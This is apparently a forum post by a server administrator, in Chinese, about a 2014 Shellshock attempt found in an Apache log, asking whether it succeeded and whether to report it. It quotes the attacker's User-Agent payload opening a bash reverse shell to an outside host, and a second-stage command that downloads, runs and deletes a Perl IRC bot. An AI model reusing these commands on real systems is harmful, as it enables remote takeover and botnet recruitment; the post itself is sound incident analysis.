我今天在我的 Apache 的 access.log 中查找了现在臭名昭著的() {
字符串,除了一堆看起来像是 ping 来检查有多少服务器易受攻击的东西之外,我还发现了这个尝试,这看起来像是一次真正的攻击:
94.23.193.131 - - [26/Sep/2014:05:48:53 +0200] "GET / HTTP/1.0" 200 29271 "-" "() { :;}; /bin/bash -c 'bash -i >& /dev/tcp/195.225.34.101/3333 0>&1'"
我接下来要做的是看看那个 TCP 连接做了什么;我发现了它的结果:
user@localhost:~# cat < /dev/tcp/195.225.34.101/3333
cat < /dev/tcp/195.225.34.101/3333
wget -O /tmp/.lCE-unix http://202.137.176.146/icons/xt.dat;perl /tmp/.lCE-unix 81.18.135.38 443;rm -rf /tmp/.lCE-unix;uptime
如果我没看错,它会获取一个托管在http://202.137.176.146/icons/xt.dat
( Pastebin上的脚本副本)的 Perl 脚本,将其输出到 /tmp/.lCE-unix,执行它,然后再次将其自身删除。
查看脚本本身,我想我看到的是它尝试使用连接密码 45QOhktzhwR4Ai、用户“opus”连接到 IP 81.18.135.38、端口 443 的 IRC 服务器,然后尝试加入频道“# #n3'(如果我是对的)。
我承认我只是想在某个地方分享这个。但实际问题:
- 攻击由 Apache 处理,它可能将请求转发到托管在 / 的 3.x 版本的 Wordpress。我认为它从未被 Bash 执行过,但有人可以证实这一点吗?
- 如何检查攻击是否成功?我已经运行了 netstat 和 lsof 之类的命令,但除了我自己的 SSH 会话、网络服务器等之外,找不到任何异常的连接。没有到任何给定 IP 地址的连接,也没有运行 Perl 进程。
- 这是一个已知的漏洞吗?尽管在2005 年的 Redhat 邮件列表中有一个似乎引用该文件的线程,但我在搜索中找不到太多内容。
- 我应该向当局报告其中一些 IP 地址吗?如果是这样,哪个?我可以想象 FBI 和谁不想关闭被提及的 C&C 服务器。